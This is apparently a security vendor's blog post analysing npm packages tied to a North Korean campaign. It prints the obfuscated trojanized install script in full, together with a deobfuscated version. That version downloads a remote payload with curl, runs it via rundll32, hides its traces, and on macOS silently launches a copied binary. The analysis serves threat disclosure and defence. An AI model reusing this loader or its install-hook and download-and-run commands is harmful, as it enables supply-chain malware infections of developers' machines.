Nation-State Threat Actors Renew Publications to npm
Back in November of 2023, we published a blog post highlighting the technical details of a sophisticated attack in npm
attributed to North Korea. We subsequently published a follow-up in January of 2024 detailing the history of the attack and highlighting the broader context of North Korean APTs operating in open-source ecosystems. Since then, it’s been relatively quiet—until today. On 23 April 2024, Phylum’s automated risk detection platform flagged a few new publications belonging to this campaign, with a slight twist.
--cta--
The Attack Evolves
The npm user nebourhood
open-source published two packages react-dom-production-script
and hardhat-daemon
with a preinstall
hook in the package.json
immediately executing a file in the package:
"scripts": {
"preinstall": "node deference.js",
"test": "./node_modules/vows/bin/vows test/*.js --spec"
}
Similar to earlier packages belonging to this campaign, the attackers used a preinstall
hook to gain arbitrary code execution upon installation. However, in the earlier versions, they executed a non-obfuscated JavaScript file and then immediately deleted it to cover their tracks.
In today’s publication, they resorted to simply executing a single obfuscated JavaScript file calleddeference.js
, a trojanized version of a file from the legitimate package node-config
. Here’s that file—formatting is mine:
var _$_2d7b = (function (_0x1527F, _0x14F07) {
var _0x15157 = _0x1527F.length;
var _0x15235 = [];
for (var _0x14FE5 = 0; _0x14FE5 < _0x15157; _0x14FE5++) {
_0x15235[_0x14FE5] = _0x1527F.charAt(_0x14FE5);
}
for (var _0x14FE5 = 0; _0x14FE5 < _0x15157; _0x14FE5++) {
var _0x14EBD = _0x14F07 * (_0x14FE5 + 207) + (_0x14F07 % 24780);
var _0x15079 = _0x14F07 * (_0x14FE5 + 491) + (_0x14F07 % 50967);
var _0x14F9B = _0x14EBD % _0x15157;
var _0x1502F = _0x15079 % _0x15157;
var _0x14F51 = _0x15235[_0x14F9B];
_0x15235[_0x14F9B] = _0x15235[_0x1502F];
_0x15235[_0x1502F] = _0x14F51;
_0x14F07 = (_0x14EBD + _0x15079) % 6966266;
}
var _0x1510D = String.fromCharCode(127);
var _0x151EB = "";
var _0x14E73 = "\x25";
var _0x150C3 = "\x23\x31";
var _0x152C9 = "\x25";
var _0x151A1 = "\x23\x30";
var _0x15313 = "\x23";
return _0x15235
.join(_0x151EB)
.split(_0x14E73)
.join(_0x1510D)
.split(_0x150C3)
.join(_0x152C9)
.split(_0x151A1)
.join(_0x15313)
.split(_0x1510D);
})(
'ee%vnieriead rF~e/>fsp&at.8e%r ro_y%nnA%sseu\'toy slf eroecW1ists%ae%nolurdk1kno\x0Ag1.-aa)ophPgC ertppUpcrsasi%pato@i alC8ptdj%sf\x0Aln/swospo3rlpr\x0Anptrv-nsatnc:%e osaaafrtepedd""w %al>m\\pet itr eenocsde%heboK/dea%ngicddsO?sexerh\x0Alaa tl2"rca\x0Aan/" ej.yoirtetaAlGo/m>axis-o"7oo6nde. "n/t4iippiyie%ed%si "e\\m.fo/nrnD"lf 1 >p%Nctejoonr/>trua"cp&krraf%e_l&rkahooo"ud%a.sayCorto(%e 3%>liPore\x0Aplei i. .d_n cvyrjaid%nuauledeaeorca%/lopwtnr.lee&%iPeppCpl/T =wpiadrmlmLc"rl%cde,lrapn%A2c "SecU>e%a "%1tugru>dlLbhpeo- ndncs xulmLirpl%v/eftkdcbtcjakdau %j tndp%gnhrrtmi-e9.tporteMtddi a/td\x0AapuSfo2dep\x0A&\'%x dipl en2tm.eu 2dferCocfir%edopef /enmmre.nhiul~p',
2715473,
);
const os = require(_$_2d7b[0]);
const fs = require(_$_2d7b[1]);
const { exec: exec } = require(_$_2d7b[2]);
function DeferredConfig() {}
DeferredConfig[_$_2d7b[4]][_$_2d7b[3]] = function () {};
DeferredConfig[_$_2d7b[4]][_$_2d7b[5]] = function () {};
const type = os[_$_2d7b[6]]();
function deferConfig(_0x14E73) {
var _0x14EBD = Object[_$_2d7b[7]](DeferredConfig[_$_2d7b[4]]);
_0x14EBD[_$_2d7b[3]] = function (_0x14F07, _0x14F9B, _0x14FE5) {
var _0x14F51 = _0x14F9B[_0x14FE5][_$_2d7b[8]];
_0x14EBD[_$_2d7b[5]] = function () {
var _0x14EBD = _0x14E73[_$_2d7b[9]](_0x14F07, _0x14F07, _0x14F51);
Object[_$_2d7b[10]](_0x14F9B, _0x14FE5, { value: _0x14EBD });
return _0x14EBD;
};
Object[_$_2d7b[10]](_0x14F9B, _0x14FE5, {
get: function () {
return _0x14EBD[_$_2d7b[5]]();
},
});
return _0x14EBD;
};
return _0x14EBD;
}
function convert(_0x14F51) {
const _0x14E73 = _0x14F51[_$_2d7b[14]](_$_2d7b[13])[_$_2d7b[12]](
(_0x14E73) => {
return _0x14E73[_$_2d7b[11]](0);
},
);
const _0x14EBD = _0x14E73[_$_2d7b[12]]((_0x14E73) => {
return _0x14E73 - 1;
});
const _0x14F07 = String[_$_2d7b[15]](..._0x14EBD);
return _0x14F07[_$_2d7b[17]](/\\n/g, _$_2d7b[16]);
}
const data = _$_2d7b[18];
if (type === _$_2d7b[19]) {
const fileName = _$_2d7b[20];
fs[_$_2d7b[23]](fileName, data, (_0x14EBD) => {
if (!_0x14EBD) {
if (!_0x14EBD) {
const _0x14E73 = exec(
"\x22" + fileName + _$_2d7b[21],
(_0x14E73, _0x14F07, _0x14EBD) => {
if (_0x14E73) {
return;
}
if (_0x14EBD) {
return;
}
fs[_$_2d7b[22]](fileName, (_0x14E73) => {});
},
);
}
}
});
exec(_$_2d7b[24]);
} else {
if (type === _$_2d7b[25]) {
} else {
exec(_$_2d7b[26]);
exec(
"\x63\x70\x20\x2E\x2F\x74\x65\x73\x74\x2D\x63\x6F\x6E\x66\x69\x67\x2E\x74\x73\x20\x7E\x2F\x4C\x69\x62\x72\x61\x72\x79\x2F\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x5C\x20\x53\x75\x70\x70\x6F\x72\x74\x2F\x55\x70\x64\x61\x74\x65\x50\x72\x6F\x76\x69\x64\x65\x72\x2F\x75\x70\x64\x61\x74\x65\x4D\x61\x63\x4F\x73",
);
exec(_$_2d7b[27]);
exec(_$_2d7b[28]);
}
}
module[_$_2d7b[30]][_$_2d7b[29]] = deferConfig;
module[_$_2d7b[30]][_$_2d7b[31]] = DeferredConfig;
At first glance, it might seem pretty well obfuscated, but a close inspection reveals that there’s just a simple function called _$_2d7b
at the top of the file that effectively functions as a list that they index into. For example, you can see this kind of behavior:
const os = require(_$_2d7b[0]);
const fs = require(_$_2d7b[1]);
const { exec: exec } = require(_$_2d7b[2]);
This pattern repeats throughout the rest of the script up to an index value of 31. Consequently, we can write a simple loop evaluating what that function spits out for values from 0 to 31, and this eliminates much of the obfuscation. Mingled in that code, we see an obfuscated version of the legitimate code from the cloned package node-config
that these actors have been fond of lately.
After replacing the calls in the script with the evaluated strings, and removing dead code and the legitimate code from node-config
, we find the following code that has evolved some while still bearing a strong resemblance to the code from earlier in the campaign:
const os = require('os')
const fs = require('fs')
const exec = require('child_process')
const type = os.type()
if ('Windows_NT' === type) {
const file = 'data.bat'
fs.writeFile(
'data.bat',
'@echo off\ncurl --insecure -o data.tmp -L "https://matrixane.com/download/download.asp?id=8931" > nul 2>&1\nrundll32 data.tmp,GenerateKey 7846\ndel "data.tmp"\nif exist "pk.json" (\ndel "package.json" > nul 2>&1\nrename "pk.json" "package.json" > nul 2>&1\n)',
(input) => {
if (!input) {
exec('"data.bat"', (error, stdout, stderr) => {
error || stderr || fs.unlink(file, (file) => {})
})
}
}
)
exec('del deference.js')
} else {
'linux' === type ||
(exec('mkdir ~/Library/Application\\ Support/UpdateProvider'),
exec('cp ./test-config.ts ~/Library/Application\\ Support/UpdateProvider/updateMacOs'),
exec("sh -c 'nohup ~/Library/Application\\ Support/UpdateProvider/updateMacOs >/dev/null 2>&1 &'"),
exec('rm deference.js'))
}
For the most part, this looks very similar to the non-obfuscated files from the earlier packages. The call to rundll32
in data.tmp
to a function with an integer argument, the replacement of the malicious package.json
with pk.json
to cover their tracks, and the reuse of the same matrixane[.]com
domain with an id
parameter are all the same tactics as we have detailed before. But, now we see something that hasn't been there before.
Also, preliminary analysis of the binary file at the matrixane[.]com
domain suggests that this is the same malware from earlier in the campaign.
A Pivot?
Adding macOS to the targets
The biggest difference of note here is that this script now includes a series of commands if the ("Windows_NT" === os.type())
check fails. In previous packages, this was not the case and if the machine was not identified as a Windows machine, the malware was not deployed. Now, if the Windows machine check fails, it runs the following:
"linux" === type || (exec("mkdir ~/Library/Application\\ Support/UpdateProvider"), exec("cp ./test-config.ts ~/Library/Application\\ Support/UpdateProvider/updateMacOs"), exec("sh -c 'nohup ~/Library/Application\\ Support/UpdateProvider/updateMacOs >/dev/null 2>&1 &'"), exec("rm deference.js"));
As a side note, this is a slightly strange way of specifying what to do in the else
branch because of the inclusion of the logical OR
( ||
) operator. Here’s how this works once we reach the else
branch: the logical OR
is a short circuit operator so if the check "linux" === type
evaluates to true
, then nothing else happens and the script concludes executing. This appears to be an effort to bail early if the operating system is identified as Linux, however, in JavaScript os.type()
will respond with "Linux"
(note the capital “L”) on Linux machines, so in reality, this will never evaluate to true
and the second operand of the OR
will always be executed.
In the event this script does manage to execute on a MacOS system (or any system other than Windows, given the oversight above), the following commands are executed:
exec("mkdir ~/Library/Application\\ Support/UpdateProvider")
exec("cp ./test-config.ts ~/Library/Application\\ Support/UpdateProvider/updateMacOs")
exec("sh -c 'nohup ~/Library/Application\\ Support/UpdateProvider/updateMacOs >/dev/null 2>&1 &'")
exec("rm deference.js"));
First, the script creates a new directory called UpdateProvider
in the Library/Application Support
directory. This is a common location on macOS for storing application support files. Then, a file called test-config.ts
is copied from the current directory into the UpdateProvider
directory, renaming it updateMacOs
. Next, nohup
is used to execute the newly created updateMacOs
file, redirecting output to /dev/null
. In other words, they’re trying to silently execute the new file. Finally, the deference.js
file is deleted, removing any apparent maliciousness from the package after installation. The test-config.ts
file does not ship with the package, so at this point, we assume it’s created locally as part of the remote code execution.
Phylum will continue to investigate these packages and others related to this ongoing attack.